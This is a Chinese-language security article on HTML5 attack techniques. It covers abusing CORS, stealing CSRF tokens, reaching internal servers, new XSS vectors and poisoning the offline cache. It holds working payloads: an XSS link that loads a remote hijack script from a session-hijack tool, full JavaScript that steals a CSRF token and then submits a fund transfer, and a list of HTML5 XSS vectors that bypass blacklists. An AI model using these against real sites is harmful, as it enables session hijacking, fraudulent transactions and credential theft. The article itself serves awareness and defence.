HTML5 是下一代的 HTML,HTML5賦予網(wǎng)頁更好的意義和結(jié)構(gòu)。更加豐富的標(biāo)簽將隨著對RDFa的,微數(shù)據(jù)與微格式等方面的支持,構(gòu)建對程序、對用戶都更有價值的數(shù)據(jù)驅(qū)動的Web。基于HTML5開發(fā)的網(wǎng)頁APP擁有更短的啟動時間,更快的聯(lián)網(wǎng)速度。本文詳細(xì)介紹了HTML5的普及,帶來的新的安全威脅。
一:CORS(Cross-Origin Resource Sharing) 跨域資源共享
為了構(gòu)建高品質(zhì)的網(wǎng)站,以及滿足日益增長的用戶需求,HTML5針對SOP(同源策略)放寬了一些限制,簡單的說,同源策略允許來自同一站點的頁面訪問其頁面的方法和屬性等,但限制了跨域調(diào)用其他頁面的方法和屬性。現(xiàn)在HTML5放寬了這些限制,XMLHttpRequest Level 2新增了功能CORS協(xié)議,允許Ajax發(fā)起跨域的請求,瀏覽器是可以發(fā)起跨域請求的,比如你可以外鏈一個外域的圖片或者腳本。但是Javascript腳本是不能獲取這些資源的內(nèi)容的,它只能被瀏覽器執(zhí)行或渲染。
COR是頁面層次的控制模式。每一個頁面需要返回一個名為‘Access-Control-Allow-Origin’的HTTP頭來允許外域的站點訪問。你可以僅僅暴露有限的資源和有限的外域站點訪問。在COR模式中,訪問控制的職責(zé)可以放到頁面開發(fā)者的手中,而不是服務(wù)器管理員。當(dāng)然頁面開發(fā)者需要寫專門的處理代碼來允許被外域訪問。
所以只要b.com允許,a.com可以使用ajax獲取A上任意數(shù)據(jù),國外安全研究者Lava Kumar開發(fā)了一款工具“Shell of the future”。
Shell of the Future 是一個反向Web Shell處理工具(Reverse Web Shell handler)。利用跨站腳本攻擊或瀏覽器地址欄注入javascript以后,Shell of the Future可進(jìn)行劫持會話。 它利用了HTML5支持的Cross Origin Requests,可以繞過一些反會話劫持的方法,如HTTP-Only限制的cookie,幫定IP地址的會話ID。
如何使用該工具:
1、下載并解壓該工具,雙擊“Shell of the Future.exe”,會彈出一個窗口。

2、輸入任意端口,點擊“Start”。
3、使用瀏覽器訪問http://127.0.0.1:8008/sotf.console (firefox效果最佳)
4、不出問題,你將看到以下畫面。(Shell of the Future有兩個JavaScript的exp- e1.js和e2.js,我們可以利用XSS漏洞將其嵌入到受害者的瀏覽器)
5、當(dāng)一個用戶登錄下面的測試網(wǎng)站:
http://www.testfire.net/bank/login.aspx (admin/admin)
該站點的搜索功能粗在一個XSS漏洞,http://www.testfire.net/search.aspx?txtSearch=%3Cscript%3Ealert%2812%29%3C%2Fscript%3E
6、攻擊者發(fā)送一個惡意鏈接給用戶,如下:
http://www.testfire.net/search.aspx?txtSearch=%3Cscript%20src=%22http://127.0.0.1:8008/e1.js%22%3E%3C/script%3E
7、當(dāng)用戶點擊之后,攻擊者的IP地址將會發(fā)送給攻擊者,然后點擊“Hijack Session”:
8、點擊Hijack Session之后,將出現(xiàn)如下畫面:

二:竊取CSRF令牌(token)
目前很多互聯(lián)網(wǎng)站點都在使用token來防御CSRF攻擊,但是隨著HTML5技術(shù)的普及,攻擊者很有可能竊取到CSRF的token,如果CSRF token的請求URL(GET請求),利用前面提到的CORS協(xié)議,攻擊者可以注入一個CSRF payload跨域請求到目標(biāo)站點上。當(dāng)然,利用的話需要服務(wù)端添加一個HTTP 頭字段“origin”,并且需要設(shè)置該屬性withCredentials為true,讓我們來看看如何利用:
1、某用戶登錄www.bank.com。
2、假設(shè)該站點有CSRF保護(hù),即在表單提交的地方添加了隱藏的token,然后發(fā)送GET請求到服務(wù)端進(jìn)行驗證,如下:
<input type=”hidden” id=”test” name=”csrfToken” value=”12345678″ />
請求如下:
http://www.bank.com/Confirmation.jsp?value=200&csrfToken=1234234523
3、攻擊者通過email、IM聊天工具或其他方式發(fā)送一個惡意站點ww.attackersite.com
4、攻擊者可以提交一個Ajax請求到www.bank.com并且執(zhí)行一些操作,但是需要知道CSRF的token值。
5、所以攻擊者需要竊取到token令牌,然后進(jìn)行CSRF攻擊。
6、攻擊者編寫了下面的一段代碼,發(fā)送Ajax請求到ConfirmTransfer.jsp頁面并接受其響應(yīng),在返回的數(shù)據(jù)包中搜索csrfToken,找到后,另外一個Ajax請求被發(fā)送,其中包含了CSRF token。
<!DOCTYPE html> <html> <head> <script> function testing() { var xmlhttp; if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } else { xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.open("GET","http://bank/Myapp/ConfirmTransfer.jsp",false); xmlhttp.send(); if(xmlhttp.status==200) { var str=xmlhttp.responseText; var n=str.search("csrfToken"); var final=str.substring(n+18,n+28); var url = "http://bank/Myapp/TransferFund.jsp?datum1%2F=06-06-2013&Account=1234&csrfToken=" + escape(final); xmlhttp.open("GET", url, true); xmlhttp.send(); } } </script> </head> <body onload="testing();"> </body> </html> |
以上的一切操作全在后臺進(jìn)行,用戶完全不知情,因此,在HTML5中,攻擊者完全可能獲取到CSRF TOKEN和執(zhí)行一些操作。
三:訪問內(nèi)部服務(wù)器:
很多互聯(lián)網(wǎng)公司除了有ONLINE對外的業(yè)務(wù)之外,在內(nèi)部也用著很多的應(yīng)用,如財務(wù)管理系統(tǒng)、員工管理系統(tǒng)以及其他的一些內(nèi)部社區(qū)等,很多開發(fā)者為了各個應(yīng)用之間調(diào)用簡潔方便,在很多應(yīng)用中都添加了以下頭:
Control-Allow-Origin: *
攻擊者可以利用社會工程學(xué),讓內(nèi)部用戶點擊一個鏈接,然后攻擊者就可以訪問到內(nèi)部的一些資源,以下為操作步驟:
1、員工登錄到內(nèi)部的某應(yīng)用,如www.internalurl.com
2、internalurl服務(wù)器返回的響應(yīng)頭設(shè)置了Access-Control-Allow-Origin: *(允許任何域發(fā)起的請求都可以獲取當(dāng)前服務(wù)器的數(shù)據(jù)。)
3、員工受到一封郵件,點擊了鏈接 – www.malicioussite.com
4、這個站點包含了正常的UI內(nèi)容,所以員工一般不會察覺,但是,該頁面包含了一段javascript代碼。
5、該javascript代碼會發(fā)送一個XMLHttpRequest請求。
6、分析返回的數(shù)據(jù)包,并把它發(fā)送到攻擊者的服務(wù)器。
7、攻擊者獲取到公司內(nèi)部站點的相關(guān)信息。
四:HTML5新的XSS攻擊載體
直到現(xiàn)在,還有很多開發(fā)者總喜歡開發(fā)自己定義的XSS黑名單過濾器,以阻止XSS攻擊,包含了大多網(wǎng)絡(luò)上常見的XSS利用的代碼,如<img、<script等,HTML5中引入了很多新的標(biāo)簽屬性,如audio和vedio標(biāo)簽,新的標(biāo)簽帶來了新的事件,會繞過現(xiàn)有的過濾器,以下為收集的HTML5存在跨站的標(biāo)簽:
<video> <source onerror=”javascript:alert(1)”> <video onerror=”javascript:alert(1)”><source> <audio onerror=”javascript:alert(1)”><source> <input autofocus onfocus=alert(1)> <select autofocus onfocus=alert(1)> <textarea autofocus onfocus=alert(1)> <keygen autofocus onfocus=alert(1)> <button form=test onformchange=alert(2)>X <form><button formaction=”javascript:alert(1)”
關(guān)于XSS的防護(hù)可參考freebuf上jiayzhan的XSS解決方案系列文章。
XSS解決方案系列之一:淘寶、百度、騰訊的解決方案之瑕疵
XSS解決方案系列之二:知其所以然—瀏覽器是如是解碼的
XSS解決方案系列之三: 例解過后,再回首您正在維護(hù)的產(chǎn)品
XSS解決方案系列之四:關(guān)于編碼
五:離線Web應(yīng)用緩存中毒:
大部分瀏覽器都支持HTML離線緩存技術(shù),如Google Chrome, Mozilla, Opera以及Safari,在給用戶帶來便捷的同時,也引發(fā)了一些列的安全威脅,如很有可能遭受“緩存中毒”的攻擊。如果攻擊者在網(wǎng)站上嵌入特定的JS文件,能夠控制用戶的賬戶。HTML5提供了manifest功能,它是html5提供的離線web應(yīng)用解決方案,它的作用有兩個:
1. 連網(wǎng)情況下,訪問使用manifest的頁面時(之前曾經(jīng)訪問過),會先加載一個manifest文件,如果這個manifest文件沒有改變,頁面相關(guān)的資源便都來自瀏覽器的離線緩存,不會再有額為的網(wǎng)絡(luò)請求,從而大大提高頁面相應(yīng)時間
2. 斷網(wǎng)時,在瀏覽器地址欄輸入頁面url,仍然能夠正常顯示頁面,以及正常使用不依賴ajax的功能
利用這個功能,攻擊者可以竊取用戶的憑據(jù),利用方法如下:
1、某黑木耳在星巴克鏈接到了一個不安全的WI-FI網(wǎng)絡(luò)環(huán)境。(攻擊者打造)
2、該黑木耳登錄新浪微博,攻擊者可劫持。
3、攻擊者設(shè)置該網(wǎng)站返回一個頁面,該頁面包含了一個隱藏的iframe,提示新浪微博登陸。
4、由于該網(wǎng)絡(luò)是由攻擊者控制,所以他提供的新浪微博登陸頁面中包含了manifest屬性,除了可以當(dāng)場劫持到黑木耳的微博帳號密碼之外,后面還可以長期劫持。
5、當(dāng)黑木耳喝完老干媽牌拿鐵之后,拿著心愛的神舟牌筆記本回家之后,想繼續(xù)曬自己的照片,繼續(xù)登錄微博。
6、瀏覽器會從緩存中載入偽造的登錄頁面。
7、帳號密碼隨后會發(fā)送到攻擊者。
因此,通過manifest屬性可以竊取用戶的憑據(jù),以上都是一些已經(jīng)研究出來的攻擊手法,相信隨著HTML5的高度發(fā)展,未來幾年內(nèi)會出現(xiàn)更多的攻擊手法。